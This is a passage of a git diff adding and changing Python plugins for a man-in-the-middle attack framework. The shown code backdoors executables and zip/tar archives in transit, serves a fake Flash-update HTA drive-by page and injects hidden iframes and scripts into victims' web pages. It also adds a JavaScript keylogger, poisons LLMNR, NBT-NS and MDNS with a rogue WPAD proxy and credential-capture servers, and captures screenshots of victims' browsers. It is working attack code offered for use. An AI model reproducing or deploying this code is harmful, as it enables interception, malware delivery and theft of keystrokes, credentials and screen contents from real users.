newTarFile.addfile(info, extractedFile)
|
||||
else:
|
||||
# create the file on disk temporarily for fileGrinder to run on it
|
||||
with tempfile.NamedTemporaryFile() as tmp:
|
||||
shutil.copyfileobj(extractedFile, tmp)
|
||||
tmp.flush()
|
||||
patchResult = self.binaryGrinder(tmp.name)
|
||||
if patchResult:
|
||||
patchCount += 1
|
||||
file2 = "backdoored/" + os.path.basename(tmp.name)
|
||||
print "[*] Patching complete, adding to tar file."
|
||||
info.size = os.stat(file2).st_size
|
||||
with open(file2, 'rb') as f:
|
||||
newTarFile.addfile(info, f)
|
||||
self.log.info("{} in tar patched, adding to tarfile".format(info.name))
|
||||
os.remove(file2)
|
||||
wasPatched = True
|
||||
else:
|
||||
print "[!] Patching failed"
|
||||
with open(tmp.name, 'rb') as f:
|
||||
newTarFile.addfile(info, f)
|
||||
self.log.info("{} patching failed. Keeping original file in tar.".format(info.name))
|
||||
if patchCount == int(self.userConfig['TAR']['patchCount']):
|
||||
self.log.info("Met Tar config patchCount limit.")
|
||||
|
||||
# finalize the writing of the tar file first
|
||||
newTarFile.close()
|
||||
|
||||
# then read the new tar file into memory
|
||||
newTarFileStorage.seek(0)
|
||||
ret = newTarFileStorage.read()
|
||||
newTarFileStorage.close() # it's automatically deleted
|
||||
|
||||
if wasPatched is False:
|
||||
# If nothing was changed return the original
|
||||
print "[*] No files were patched forwarding original file"
|
||||
self.patched.put(aTarFileBytes)
|
||||
return
|
||||
else:
|
||||
self.patched.put(ret)
|
||||
return
|
||||
|
||||
def zip_files(self, aZipFile):
|
||||
"When called will unpack and edit a Zip File and return a zip file"
|
||||
|
||||
print "[*] ZipFile size:", len(aZipFile) / 1024, 'KB'
|
||||
|
||||
if len(aZipFile) > int(self.userConfig['ZIP']['maxSize']):
|
||||
print "[!] ZipFile over allowed size"
|
||||
self.log.info("ZipFIle maxSize met {}".format(len(aZipFile)))
|
||||
self.patched.put(aZipFile)
|
||||
return
|
||||
|
||||
tmpRan = ''.join(random.choice(string.ascii_lowercase + string.digits + string.ascii_uppercase) for _ in range(8))
|
||||
tmpDir = '/tmp/' + tmpRan
|
||||
tmpFile = '/tmp/' + tmpRan + '.zip'
|
||||
|
||||
os.mkdir(tmpDir)
|
||||
|
||||
with open(tmpFile, 'w') as f:
|
||||
f.write(aZipFile)
|
||||
|
||||
zippyfile = zipfile.ZipFile(tmpFile, 'r')
|
||||
|
||||
#encryption test
|
||||
try:
|
||||
zippyfile.testzip()
|
||||
|
||||
except RuntimeError as e:
|
||||
if 'encrypted' in str(e):
|
||||
self.log.info('Encrypted zipfile found. Not patching.')
|
||||
self.patched.put(aZipFile)
|
||||
return
|
||||
|
||||
print "[*] ZipFile contents and info:"
|
||||
|
||||
for info in zippyfile.infolist():
|
||||
print "\t", info.filename, info.date_time, info.file_size
|
||||
|
||||
zippyfile.extractall(tmpDir)
|
||||
|
||||
patchCount = 0
|
||||
|
||||
wasPatched = False
|
||||
|
||||
for info in zippyfile.infolist():
|
||||
print "[*] >>> Next file in zipfile:", info.filename
|
||||
|
||||
if os.path.isdir(tmpDir + '/' + info.filename) is True:
|
||||
print info.filename, 'is a directory'
|
||||
continue
|
||||
|
||||
#Check against keywords
|
||||
keywordCheck = False
|
||||
|
||||
if type(self.zipblacklist) is str:
|
||||
if self.zipblacklist.lower() in info.filename.lower():
|
||||
keywordCheck = True
|
||||
|
||||
else:
|
||||
for keyword in self.zipblacklist:
|
||||
if keyword.lower() in info.filename.lower():
|
||||
keywordCheck = True
|
||||
continue
|
||||
|
||||
if keywordCheck is True:
|
||||
print "[!] Zip blacklist enforced!"
|
||||
self.log.info('Zip blacklist enforced on {}'.format(info.filename))
|
||||
continue
|
||||
|
||||
patchResult = self.binaryGrinder(tmpDir + '/' + info.filename)
|
||||
|
||||
if patchResult:
|
||||
patchCount += 1
|
||||
file2 = "backdoored/" + os.path.basename(info.filename)
|
||||
print "[*] Patching complete, adding to zip file."
|
||||
shutil.copyfile(file2, tmpDir + '/' + info.filename)
|
||||
self.log.info("{} in zip patched, adding to zipfile".format(info.filename))
|
||||
os.remove(file2)
|
||||
wasPatched = True
|
||||
else:
|
||||
print "[!] Patching failed"
|
||||
self.log.info("{} patching failed. Keeping original file in zip.".format(info.filename))
|
||||
|
||||
print '-' * 10
|
||||
|
||||
if patchCount >= int(self.userConfig['ZIP']['patchCount']): # Make this a setting.
|
||||
self.log.info("Met Zip config patchCount limit.")
|
||||
break
|
||||
|
||||
zippyfile.close()
|
||||
|
||||
zipResult = zipfile.ZipFile(tmpFile, 'w', zipfile.ZIP_DEFLATED)
|
||||
|
||||
print "[*] Writing to zipfile:", tmpFile
|
||||
|
||||
for base, dirs, files in os.walk(tmpDir):
|
||||
for afile in files:
|
||||
filename = os.path.join(base, afile)
|
||||
print '[*] Writing filename to zipfile:', filename.replace(tmpDir + '/', '')
|
||||
zipResult.write(filename, arcname=filename.replace(tmpDir + '/', ''))
|
||||
|
||||
zipResult.close()
|
||||
#clean up
|
||||
shutil.rmtree(tmpDir)
|
||||
|
||||
with open(tmpFile, 'rb') as f:
|
||||
tempZipFile = f.read()
|
||||
os.remove(tmpFile)
|
||||
|
||||
if wasPatched is False:
|
||||
print "[*] No files were patched forwarding original file"
|
||||
self.patched.put(aZipFile)
|
||||
return
|
||||
else:
|
||||
self.patched.put(tempZipFile)
|
||||
return
|
||||
|
||||
def response(self, response, request, data):
|
||||
|
||||
content_header = response.headers['Content-Type']
|
||||
client_ip = response.getClientIP()
|
||||
|
||||
if content_header in self.zipMimeTypes:
|
||||
|
||||
if self.bytes_have_format(data, 'zip'):
|
||||
self.clientlog.info("Detected supported zip file type!", extra=request.clientInfo)
|
||||
|
||||
process = multiprocessing.Process(name='zip', target=self.zip_files, args=(data,))
|
||||
process.daemon = True
|
||||
process.start()
|
||||
#process.join()
|
||||
bd_zip = self.patched.get()
|
||||
|
||||
if bd_zip:
|
||||
self.clientlog.info("Patching complete, forwarding to client", extra=request.clientInfo)
|
||||
return {'response': response, 'request': request, 'data': bd_zip}
|
||||
|
||||
else:
|
||||
for tartype in ['gz','bz','tar']:
|
||||
if self.bytes_have_format(data, tartype):
|
||||
self.clientlog.info("Detected supported tar file type!", extra=request.clientInfo)
|
||||
|
||||
process = multiprocessing.Process(name='tar_files', target=self.tar_files, args=(data,))
|
||||
process.daemon = True
|
||||
process.start()
|
||||
#process.join()
|
||||
bd_tar = self.patched.get()
|
||||
|
||||
if bd_tar:
|
||||
self.clientlog.info("Patching complete, forwarding to client!", extra=request.clientInfo)
|
||||
return {'response': response, 'request': request, 'data': bd_tar}
|
||||
|
||||
elif content_header in self.binaryMimeTypes:
|
||||
for bintype in ['pe','elf','fatfile','machox64','machox86']:
|
||||
if self.bytes_have_format(data, bintype):
|
||||
self.clientlog.info("Detected supported binary type ({})!".format(bintype), extra=request.clientInfo)
|
||||
fd, tmpFile = mkstemp()
|
||||
with open(tmpFile, 'w') as f:
|
||||
f.write(data)
|
||||
|
||||
process = multiprocessing.Process(name='binaryGrinder', target=self.binaryGrinder, args=(tmpFile,))
|
||||
process.daemon = True
|
||||
process.start()
|
||||
#process.join()
|
||||
patchb = self.patched.get()
|
||||
|
||||
if patchb:
|
||||
bd_binary = open("backdoored/" + os.path.basename(tmpFile), "rb").read()
|
||||
os.remove('./backdoored/' + os.path.basename(tmpFile))
|
||||
self.clientlog.info("Patching complete, forwarding to client", extra=request.clientInfo)
|
||||
return {'response': response, 'request': request, 'data': bd_binary}
|
||||
else:
|
||||
self.clientInfo.info("Patching Failed!", extra=request.clientInfo)
|
||||
|
||||
self.clientlog.debug("File is not of supported content-type: {}".format(content_header), extra=request.clientInfo)
|
||||
return {'response': response, 'request': request, 'data': data}
|
56
plugins/htadriveby.py
Normal file
56
plugins/htadriveby.py
Normal file
@ -0,0 +1,56 @@
|
||||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
|
||||
import re
|
||||
import flask
|
||||
|
||||
from plugins.plugin import Plugin
|
||||
from plugins.inject import Inject
|
||||
from core.servers.http.HTTPserver import HTTPserver
|
||||
|
||||
class HTADriveBy(Inject, Plugin):
|
||||
name = 'HTA Drive-By'
|
||||
desc = 'Performs HTA drive-by attacks on clients'
|
||||
optname = 'hta'
|
||||
ver = '0.1'
|
||||
|
||||
def initialize(self, options):
|
||||
self.bar_text = options.text
|
||||
self.ip = options.ip
|
||||
Inject.initialize(self, options)
|
||||
self.html_payload = self.get_payload()
|
||||
|
||||
server = HTTPserver().server
|
||||
|
||||
@server.route('/<hta_req>')
|
||||
def client_request(hta_req):
|
||||
if hta_req == "Flash.hta":
|
||||
with open('./config/hta_driveby/Flash.hta') as hta_file:
|
||||
resp = flask.Response(hta_file.read())
|
||||
|
||||
resp.headers['Content-Type'] = "application/hta"
|
||||
return resp
|
||||
|
||||
def get_payload(self):
|
||||
with open("./core/html/htadriveby.html", 'r') as file:
|
||||
payload = re.sub("_TEXT_GOES_HERE_", self.bar_text, file.read())
|
||||
payload = re.sub("_IP_GOES_HERE_", self.ip, payload)
|
||||
return payload
|
||||
|
||||
def options(self, options):
|
||||
options.add_argument('--text', type=str, default='The Adobe Flash Player plug-in was blocked because it is out of date.', help="Text to display on notification bar")
|
@ -17,10 +17,9 @@
|
||||
#
|
||||
|
||||
import time
|
||||
import re
|
||||
import sys
|
||||
import argparse
|
||||
|
||||
from bs4 import BeautifulSoup
|
||||
from plugins.plugin import Plugin
|
||||
|
||||
class Inject(Plugin):
|
||||
@ -48,48 +47,59 @@ class Inject(Plugin):
|
||||
self.white_ips = options.white_ips.split(',')
|
||||
self.white_domains = options.white_domains.split(',')
|
||||
self.black_domains = options.black_domains.split(',')
|
||||
self.match_str = options.match_str
|
||||
|
||||
self.ctable = {}
|
||||
self.dtable = {}
|
||||
self.count = 0
|
||||
self.mime = "text/html"
|
||||
|
||||
def response(self, response, request, data):
|
||||
ip, hn, mime = self._get_req_info(response)
|
||||
if self._should_inject(ip, hn, mime) and self._ip_filter(ip) and self._host_filter(hn) and (hn not in self.ip):
|
||||
if (not self.js_url == self.html_url is not None or not self.html_payload == ""):
|
||||
data = self._insert_html(data, post=[(self.match_str, self.get_payload())])
|
||||
self.ctable[ip] = time.time()
|
||||
self.dtable[ip+hn] = True
|
||||
self.count += 1
|
||||
self.clientlog.info("Injected malicious html: {}".format(hn), extra=request.clientInfo)
|
||||
|
||||
ip = response.getClientIP()
|
||||
hn = response.getRequestHostname()
|
||||
mime = response.headers['Content-Type']
|
||||
|
||||
if self._should_inject(ip, hn) and self._ip_filter(ip) and self._host_filter(hn) and (hn not in self.ip) and ("text/html" in mime):
|
||||
html = BeautifulSoup(data, "lxml")
|
||||
if html.body:
|
||||
|
||||
if self.html_url:
|
||||
iframe = html.new_tag("iframe", src=self.html_url, frameborder=0, height=0, width=0)
|
||||
html.body.append(iframe)
|
||||
self.clientlog.info("Injected HTML Iframe: {}".format(hn))
|
||||
|
||||
if self.html_payload:
|
||||
payload = BeautifulSoup(self.html_payload, "html.parser")
|
||||
html.body.append(payload)
|
||||
self.clientlog.info("Injected HTML payload: {}".format(hn), extra=request.clientInfo)
|
||||
|
||||
if self.html_file:
|
||||
with open(self.html_file, 'r') as file:
|
||||
payload = BeautifulSoup(file.read(), "html.parser")
|
||||
html.body.append(payload)
|
||||
self.clientlog.info("Injected HTML file: {}".format(hn), extra=request.clientInfo)
|
||||
|
||||
if self.js_url:
|
||||
script = html.new_tag('script', type='text/javascript', src=self.js_url)
|
||||
html.body.append(script)
|
||||
self.clientlog.info("Injected JS script: {}".format(hn), extra=request.clientInfo)
|
||||
|
||||
if self.js_payload:
|
||||
tag = html.new_tag('script', type='text/javascript')
|
||||
tag.append(self.js_payload)
|
||||
html.body.append(tag)
|
||||
self.clientlog.info("Injected JS payload: {}".format(hn), extra=request.clientInfo)
|
||||
|
||||
if self.js_file:
|
||||
tag = html.new_tag('script', type='text/javascript')
|
||||
with open(self.js_file, 'r') as file:
|
||||
tag.append(file.read())
|
||||
html.body.append(tag)
|
||||
self.clientlog.info("Injected JS file: {}".format(hn), extra=request.clientInfo)
|
||||
|
||||
data = str(html)
|
||||
|
||||
return {'response': response, 'request':request, 'data': data}
|
||||
|
||||
def get_payload(self):
|
||||
payload = ''
|
||||
|
||||
if self.html_url is not None:
|
||||
payload += '<iframe src="{}" height=0%% width=0%%></iframe>'.format(self.html_url)
|
||||
|
||||
if self.html_payload is not None:
|
||||
payload += self.html_payload
|
||||
|
||||
if self.html_file:
|
||||
payload += self.html_file.read()
|
||||
|
||||
if self.js_url is not None:
|
||||
payload += '<script type="text/javascript" src="{}"></script>'.format(self.js_url)
|
||||
|
||||
if self.js_payload is not None:
|
||||
payload += '<script type="text/javascript">{}</script>'.format(self.js_payload)
|
||||
|
||||
if self.js_file:
|
||||
payload += '<script type="text/javascript">{}</script>'.format(self.js_file.read())
|
||||
|
||||
return payload
|
||||
|
||||
def _ip_filter(self, ip):
|
||||
|
||||
if self.white_ips[0] != '':
|
||||
@ -122,8 +132,7 @@ class Inject(Plugin):
|
||||
|
||||
return True
|
||||
|
||||
|
||||
def _should_inject(self, ip, hn, mime):
|
||||
def _should_inject(self, ip, hn):
|
||||
|
||||
if self.count_limit == self.rate_limit is None and not self.per_domain:
|
||||
return True
|
||||
@ -138,45 +147,16 @@ class Inject(Plugin):
|
||||
if self.per_domain:
|
||||
return not ip+hn in self.dtable
|
||||
|
||||
return mime.find(self.mime) != -1
|
||||
|
||||
def _get_req_info(self, response):
|
||||
ip = response.getClientIP()
|
||||
hn = response.getRequestHostname()
|
||||
mime = response.headers['Content-Type']
|
||||
return (ip, hn, mime)
|
||||
|
||||
def _insert_html(self, data, pre=[], post=[], re_flags=re.I):
|
||||
'''
|
||||
To use this function, simply pass a list of tuples of the form:
|
||||
|
||||
(string/regex_to_match,html_to_inject)
|
||||
|
||||
NOTE: Matching will be case insensitive unless differnt flags are given
|
||||
|
||||
The pre array will have the match in front of your injected code, the post
|
||||
will put the match behind it.
|
||||
'''
|
||||
pre_regexes = [re.compile(r"(?P<match>"+i[0]+")", re_flags) for i in pre]
|
||||
post_regexes = [re.compile(r"(?P<match>"+i[0]+")", re_flags) for i in post]
|
||||
|
||||
for i, r in enumerate(pre_regexes):
|
||||
data = re.sub(r, "\g<match>"+pre[i][1], data)
|
||||
|
||||
for i, r in enumerate(post_regexes):
|
||||
data = re.sub(r, post[i][1]+"\g<match>", data)
|
||||
|
||||
return data
|
||||
return True
|
||||
|
||||
def options(self, options):
|
||||
options.add_argument("--js-url", type=str, help="URL of the JS to inject")
|
||||
options.add_argument('--js-payload', type=str, help='JS string to inject')
|
||||
options.add_argument('--js-file', type=argparse.FileType('r'), help='File containing JS to inject')
|
||||
options.add_argument('--js-file', type=str, help='File containing JS to inject')
|
||||
options.add_argument("--html-url", type=str, help="URL of the HTML to inject")
|
||||
options.add_argument("--html-payload", type=str, help="HTML string to inject")
|
||||
options.add_argument('--html-file', type=argparse.FileType('r'), help='File containing HTML to inject')
|
||||
options.add_argument("--match-str", type=str, default='</body>', help="String you would like to match and place your payload before. (</body> by default)")
|
||||
|
||||
options.add_argument('--html-file', type=str, help='File containing HTML to inject')
|
||||
|
||||
group = options.add_mutually_exclusive_group(required=False)
|
||||
group.add_argument("--per-domain", action="store_true", help="Inject once per domain per client.")
|
||||
group.add_argument("--rate-limit", type=float, help="Inject once every RATE_LIMIT seconds per client.")
|
62
plugins/jskeylogger.py
Normal file
62
plugins/jskeylogger.py
Normal file
@ -0,0 +1,62 @@
|
||||
#!/usr/bin/env python2.7
|
||||
|
||||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
|
||||
from plugins.inject import Inject
|
||||
from plugins.plugin import Plugin
|
||||
|
||||
class JSKeylogger(Inject, Plugin):
|
||||
name = "JSKeylogger"
|
||||
optname = "jskeylogger"
|
||||
desc = "Injects a javascript keylogger into clients webpages"
|
||||
version = "0.2"
|
||||
|
||||
def initialize(self, options):
|
||||
Inject.initialize(self, options)
|
||||
self.js_file = "./core/javascript/msfkeylogger.js"
|
||||
|
||||
def request(self, request):
|
||||
if 'keylog' in request.uri:
|
||||
request.handle_post_output = True
|
||||
|
||||
raw_keys = request.postData.split("&&")[0]
|
||||
input_field = request.postData.split("&&")[1]
|
||||
|
||||
keys = raw_keys.split(",")
|
||||
if keys:
|
||||
del keys[0]; del(keys[len(keys)-1])
|
||||
|
||||
nice = ''
|
||||
for n in keys:
|
||||
if n == '9':
|
||||
nice += "<TAB>"
|
||||
elif n == '8':
|
||||
nice = nice[:-1]
|
||||
elif n == '13':
|
||||
nice = ''
|
||||
else:
|
||||
try:
|
||||
nice += n.decode('hex')
|
||||
except:
|
||||
self.clientlog.error("Error decoding char: {}".format(n), extra=request.clientInfo)
|
||||
|
||||
self.clientlog.info("Host: {} | Field: {} | Keys: {}".format(request.headers['host'], input_field, nice), extra=request.clientInfo)
|
||||
|
||||
def options(self, options):
|
||||
pass
|
@ -1,5 +1,3 @@
|
||||
#!/usr/bin/env python2.7
|
||||
|
||||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
@ -24,7 +22,7 @@ import argparse
|
||||
from core.configwatcher import ConfigWatcher
|
||||
from core.logger import logger
|
||||
|
||||
class Plugin(ConfigWatcher, object):
|
||||
class Plugin(ConfigWatcher):
|
||||
name = "Generic plugin"
|
||||
optname = "generic"
|
||||
tree_info = []
|
||||
|
53
plugins/replace.py
Normal file
53
plugins/replace.py
Normal file
@ -0,0 +1,53 @@
|
||||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
|
||||
"""
|
||||
|
||||
Original plugin by @rubenthijssen
|
||||
|
||||
"""
|
||||
|
||||
import re
|
||||
from plugins.plugin import Plugin
|
||||
|
||||
class Replace(Plugin):
|
||||
name = "Replace"
|
||||
optname = "replace"
|
||||
desc = "Replace arbitrary content in HTML content"
|
||||
version = "0.2"
|
||||
|
||||
def initialize(self, options):
|
||||
self.options = options
|
||||
|
||||
def response(self, response, request, data):
|
||||
mime = response.headers['Content-Type']
|
||||
hn = response.getRequestHostname()
|
||||
|
||||
if "text/html" in mime:
|
||||
|
||||
for rulename, regexs in self.config['Replace'].iteritems():
|
||||
for regex1,regex2 in regexs.iteritems():
|
||||
if re.search(regex1, data):
|
||||
try:
|
||||
data = re.sub(regex1, regex2, data)
|
||||
|
||||
self.clientlog.info("occurances matching '{}' replaced with '{}' according to rule '{}'".format(regex1, regex2, rulename), extra=request.clientInfo)
|
||||
except Exception:
|
||||
self.log.error("Your provided regex ({}) or replace value ({}) is empty or invalid. Please debug your provided regex(es) in rule '{}'".format(regex1, regex2, rulename))
|
||||
|
||||
return {'response': response, 'request': request, 'data': data}
|
141
plugins/responder.py
Normal file
141
plugins/responder.py
Normal file
@ -0,0 +1,141 @@
|
||||
#!/usr/bin/env python2.7
|
||||
|
||||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
|
||||
from plugins.plugin import Plugin
|
||||
from twisted.internet import reactor
|
||||
|
||||
class Responder(Plugin):
|
||||
name = "Responder"
|
||||
optname = "responder"
|
||||
desc = "Poison LLMNR, NBT-NS and MDNS requests"
|
||||
tree_info = ["NBT-NS, LLMNR & MDNS Responder v2.1.2 by Laurent Gaffie online"]
|
||||
version = "0.2"
|
||||
has_opts = True
|
||||
|
||||
def initialize(self, options):
|
||||
'''Called if plugin is enabled, passed the options namespace'''
|
||||
self.options = options
|
||||
self.interface = options.interface
|
||||
self.ip = options.ip
|
||||
|
||||
try:
|
||||
config = self.config['Responder']
|
||||
smbChal = self.config['MITMf']['SMB']['Challenge']
|
||||
except Exception as e:
|
||||
shutdown('[-] Error parsing config for Responder: ' + str(e))
|
||||
|
||||
from core.responder.llmnr.LLMNRpoisoner import LLMNRpoisoner
|
||||
from core.responder.mdns.MDNSpoisoner import MDNSpoisoner
|
||||
from core.responder.nbtns.NBTNSpoisoner import NBTNSpoisoner
|
||||
from core.responder.fingerprinter.LANfingerprinter import LANfingerprinter
|
||||
|
||||
LANfingerprinter().start(options)
|
||||
MDNSpoisoner().start(options, options.ip)
|
||||
NBTNSpoisoner().start(options, options.ip)
|
||||
LLMNRpoisoner().start(options, options.ip)
|
||||
|
||||
if options.wpad:
|
||||
from core.servers.http.HTTPserver import HTTPserver
|
||||
import flask
|
||||
|
||||
server = HTTPserver().server
|
||||
|
||||
@server.route('/<wpad_req>')
|
||||
def wpad(wpad_req):
|
||||
if (wpad_req == 'wpad.dat') or (wpad_req.endswith('.pac')):
|
||||
payload = self.config['Responder']['WPADScript']
|
||||
|
||||
resp = flask.Response(payload)
|
||||
resp.headers['Server'] = "Microsoft-IIS/6.0"
|
||||
resp.headers['Content-Type'] = "application/x-ns-proxy-autoconfig"
|
||||
resp.headers['X-Powered-By'] = "ASP.NET"
|
||||
resp.headers['Content-Length'] = len(payload)
|
||||
|
||||
return resp
|
||||
|
||||
if self.config["Responder"]["MSSQL"].lower() == "on":
|
||||
from core.responder.mssql.MSSQLserver import MSSQLserver
|
||||
MSSQLserver().start(smbChal)
|
||||
|
||||
if self.config["Responder"]["Kerberos"].lower() == "on":
|
||||
from core.responder.kerberos.KERBserver import KERBserver
|
||||
KERBserver().start()
|
||||
|
||||
if self.config["Responder"]["FTP"].lower() == "on":
|
||||
from core.responder.ftp.FTPserver import FTPserver
|
||||
FTPserver().start()
|
||||
|
||||
if self.config["Responder"]["POP"].lower() == "on":
|
||||
from core.responder.pop3.POP3server import POP3server
|
||||
POP3server().start()
|
||||
|
||||
if self.config["Responder"]["SMTP"].lower() == "on":
|
||||
from core.responder.smtp.SMTPserver import SMTPserver
|
||||
SMTPserver().start()
|
||||
|
||||
if self.config["Responder"]["IMAP"].lower() == "on":
|
||||
from core.responder.imap.IMAPserver import IMAPserver
|
||||
IMAPserver().start()
|
||||
|
||||
if self.config["Responder"]["LDAP"].lower() == "on":
|
||||
from core.responder.ldap.LDAPserver import LDAPserver
|
||||
LDAPserver().start(smbChal)
|
||||
|
||||
if options.analyze:
|
||||
self.tree_info.append("Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned")
|
||||
self.IsICMPRedirectPlausible(options.ip)
|
||||
|
||||
def IsICMPRedirectPlausible(self, IP):
|
||||
result = []
|
||||
dnsip = []
|
||||
for line in file('/etc/resolv.conf', 'r'):
|
||||
ip = line.split()
|
||||
if len(ip) < 2:
|
||||
continue
|
||||
if ip[0] == 'nameserver':
|
||||
dnsip.extend(ip[1:])
|
||||
|
||||
for x in dnsip:
|
||||
if x !="127.0.0.1" and self.IsOnTheSameSubnet(x,IP) == False:
|
||||
self.tree_info.append("You can ICMP Redirect on this network. This workstation ({}) is not on the same subnet than the DNS server ({})".format(IP, x))
|
||||
else:
|
||||
pass
|
||||
|
||||
def IsOnTheSameSubnet(self, ip, net):
|
||||
net = net+'/24'
|
||||
ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16)
|
||||
netstr, bits = net.split('/')
|
||||
netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16)
|
||||
mask = (0xffffffff << (32 - int(bits))) & 0xffffffff
|
||||
return (ipaddr & mask) == (netaddr & mask)
|
||||
|
||||
def reactor(self, strippingFactory):
|
||||
reactor.listenTCP(3141, strippingFactory)
|
||||
|
||||
def options(self, options):
|
||||
options.add_argument('--analyze', dest="analyze", action="store_true", help="Allows you to see NBT-NS, BROWSER, LLMNR requests without poisoning")
|
||||
options.add_argument('--wredir', dest="wredir", default=False, action="store_true", help="Enables answers for netbios wredir suffix queries")
|
||||
options.add_argument('--nbtns', dest="nbtns", default=False, action="store_true", help="Enables answers for netbios domain suffix queries")
|
||||
options.add_argument('--fingerprint', dest="finger", default=False, action="store_true", help = "Fingerprint hosts that issued an NBT-NS or LLMNR query")
|
||||
options.add_argument('--lm', dest="lm", default=False, action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier")
|
||||
options.add_argument('--wpad', dest="wpad", default=False, action="store_true", help = "Start the WPAD rogue proxy server")
|
||||
# Removed these options until I find a better way of implementing them
|
||||
#options.add_argument('--forcewpadauth', dest="forceWpadAuth", default=False, action="store_true", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False")
|
||||
#options.add_argument('--basic', dest="basic", default=False, action="store_true", help="Set this if you want to return a Basic HTTP authentication. If not set, an NTLM authentication will be returned")
|
59
plugins/screenshotter.py
Normal file
59
plugins/screenshotter.py
Normal file
@ -0,0 +1,59 @@
|
||||
#!/usr/bin/env python2.7
|
||||
|
||||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
|
||||
import base64
|
||||
import urllib
|
||||
import re
|
||||
|
||||
from datetime import datetime
|
||||
from plugins.plugin import Plugin
|
||||
from plugins.inject import Inject
|
||||
|
||||
class ScreenShotter(Inject, Plugin):
|
||||
name = 'ScreenShotter'
|
||||
optname = 'screen'
|
||||
desc = 'Uses HTML5 Canvas to render an accurate screenshot of a clients browser'
|
||||
ver = '0.1'
|
||||
|
||||
def initialize(self, options):
|
||||
Inject.initialize(self, options)
|
||||
self.js_payload = self.get_payload()
|
||||
self.interval = options.interval
|
||||
|
||||
def request(self, request):
|
||||
if 'saveshot' in request.uri:
|
||||
request.handle_post_output = True
|
||||
|
||||
client = request.client.getClientIP()
|
||||
img_file = '{}-{}-{}.png'.format(client, request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s"))
|
||||
try:
|
||||
with open('./logs/' + img_file, 'wb') as img:
|
||||
img.write(base64.b64decode(urllib.unquote(request.postData).decode('utf8').split(',')[1]))
|
||||
img.close()
|
||||
|
||||
self.clientlog.info('Saved screenshot to {}'.format(img_file), extra=request.clientInfo)
|
||||
except Exception as e:
|
||||
self.clientlog.error('Error saving screenshot: {}'.format(e), extra=request.clientInfo)
|
||||
|
||||
def get_payload(self):
|
||||
return re.sub("SECONDS_GO_HERE", str(self.interval*1000), open("./core/javascript/screenshot.js", "rb").read())
|
||||
|
||||
def options(self, options):
|
||||
options.add_argument("--interval", dest="interval", type=int, metavar="SECONDS", default=10, help="Interval at which screenshots will be taken (default 10 seconds)")
|
41
plugins/smbauth.py
Normal file
41
plugins/smbauth.py
Normal file
@ -0,0 +1,41 @@
|
||||
#!/usr/bin/env python2.7
|
||||
|
||||
# Copyright (c) 2014-2016 Marcello Salvati
